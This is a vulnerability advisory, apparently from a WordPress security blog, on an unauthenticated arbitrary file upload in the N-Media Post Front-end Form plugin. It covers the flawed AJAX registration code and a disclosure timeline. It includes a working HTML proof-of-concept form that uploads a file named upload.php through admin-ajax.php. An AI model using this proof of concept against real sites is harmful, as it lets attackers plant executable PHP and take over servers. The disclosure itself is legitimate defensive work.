Arbitrary File Upload Vulnerability in N-Media Post Front-end Form
One of the important ways we keep track of the vulnerabilities that exist and have existed in WordPress plugins is by monitoring for apparent hacking attempts against WordPress plugins. We started by monitoring our websites, but after we kept finding new vulnerabilities that existed in the current version of plugins through that we expanded out our monitoring to some outside data sources. Through that we found yet another very exploitable vulnerability in the current version of a plugin.
In one of the data sources we monitor we saw a request for the file /wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php, which is a part of the plugin N-Media Post Front-end Form. Looking at that file you could upload arbitrary files to a website provided that the PHP setting upload_tmp_dir is configured. The ability for this to be exploited seems to be limited, since file does not tell you were the upload file is located. So unless you could determine that some other way you wouldn’t be able to access it. If the directory is not web accessible then you would also need access to a local file inclusion (LFI) vulnerability to be able to exploit it.
The presence of that file would indicate that the plugin has some file upload capability that is part of its functionality, so we then went to see if that was the case and if it is vulnerable as well.
We then found the file upload capability in the plugin was for uploading a featured image. The only limit on what kind of file you could upload through it was in JavaScript code, which runs on the client side and therefore can be changed on the client side (or in this case it can be completely bypassed).
The upload is handled through WordPress AJAX functionality.
In the file /classes/plugin.class.php the plugin defines a series of functions that should be accessible through that:
98 99 100 101 | $this -> ajax_callbacks = array('save_settings', //do not change this action, is for admin 'load_post_form', 'save_post', 'upload_file',); |
Then in the file /classes/nm-framework.php those are registered to be accessible whether someone is logged in our not:
119 120 121 122 123 124 125 | function do_callbacks(){ foreach ($this -> ajax_callbacks as $callback){ add_action( 'wp_ajax_'.$this->plugin_meta['shortname'].'_'.$callback, array($this, $callback) ); add_action( 'wp_ajax_nopriv_'.$this->plugin_meta['shortname'].'_'.$callback, array($this, $callback) ); } } |
Through that anyone can access the function upload_file() in the file /classes/plugin.class.php and upload any file they want.
Other malicious activity might be possible with the other function also made accessible.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/post_files/ as upload.php.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="nm_postfront_upload_file" /> <input type="hidden" name="name" value="upload.php" /> <input type="file" name="file" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Timeline
- 7/16/2016 – Developer notified.
- 7/16/2016 – Developer responds.
- 9/19/2016 – WordPress.org Plugin Directory notified.
- 9/21/2016 – Plugin removed from WordPress.org Plugin Directory.
- 10/8/2016 – Version 1.1 submitted to Plugin Directory, which fixes vulnerability.